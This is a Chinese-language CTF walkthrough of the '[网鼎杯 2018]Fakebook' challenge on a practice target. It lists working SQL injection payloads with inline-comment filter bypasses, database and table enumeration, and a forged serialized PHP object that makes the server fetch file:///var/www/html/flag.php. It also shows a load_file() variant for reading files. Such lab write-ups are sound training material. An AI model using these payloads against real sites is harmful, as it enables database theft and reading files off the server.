您现在的位置是:首页 >技术教程 >[网鼎杯 2018]Fakebook网站首页技术教程
[网鼎杯 2018]Fakebook
1,网页访问内容
2,join功能
创建账号:
admin
admin
1
www.baidu.com
自动跳转:
点击admin跳转如下url界面:
http://74466596-caeb-46dd-b8ee-67533ac38290.node4.buuoj.cn:81/view.php?no=1
查看源码:
这里使用了伪协议获取数据。
收集信息:可通过伪协议读数据
2,观察url特征,尝试sqli
出现报错,大概率存在sqli,但感觉得绕过,先做个目录扫描多收集点信息。
收集信息:web目录路径
3,robots.txt文件发现信息
直接可以把user.php.bak下载下来,内容如下:
直接审计一波
<?php
//一个UserInfo类
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
//读取用户信息
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
//检测了blog源码src处,无法利用data协议读取数据
return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
}
}
sqli
1,继续尝试sqli
经过测试,这里是数字型
sqli
使用order by测试,这里是4
/view.php?no=1%20order%20by%204
注意:这里逻辑得no=1正确,后面才能使用orderby;不能使用no=0错误逻辑拼接order by
2,测试回显位置
/view.php?no=0%20union%20select%201,2,3,4
做了关键词校验。
思路:可以用burp爆破一遍确认未过滤的关键字。
3,这里使用内敛注释尝试绕过
/view.php?no=1%20/*!%20union*/%20select%201,2,3,4%20limit%201,1
收集信息:
1、反序列化!!
2、回显的是2
4,查库
view.php?no=0/*!%20union*/%20select%201,database(),3,4#
5,查表
view.php?no=0/*!%20union*/%20select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27#
6,查字段
view.php?no=0/*!%20union*/%20select%201,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook'#
可疑字段data
7,查看data数据
view.php?no=0/*!%20union*/%20select%201,group_concat(data),3,4 from users#
序列化数据!!
是序列化后的UserInfo对象,下意识想起之前那份备份文件也定义的类为UserInfo,最开始时的用户界面为no=1时,靶场根据users表查询no=1进行渲染的页面。可以猜测,和数据库表中的字段no,username,passwd,data顺序相似,第四个字段应该就是data。思考一下,一共有4个字段,select的时候如果将第四个字段插入data序列化后的内容,是否就回显了我们注册的admin用户和他的blog呢?
构造传参:
1 and 0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:20:"http://www.baidu.com";}' from users#
果然返还了,如果在里面稍微修改一下序列化内容会怎么样?将我们的blog改为读取flag:
view.php?no=0/*!%20union*/%20select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:100;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
查看源码:
解一下base64即得flag。
扩展思路1-利用load_file函数读取flag
mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php
sqli:
0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
查看源码,成功读取flag
完。
参考:https://blog.csdn.net/qq_58784379/article/details/120548225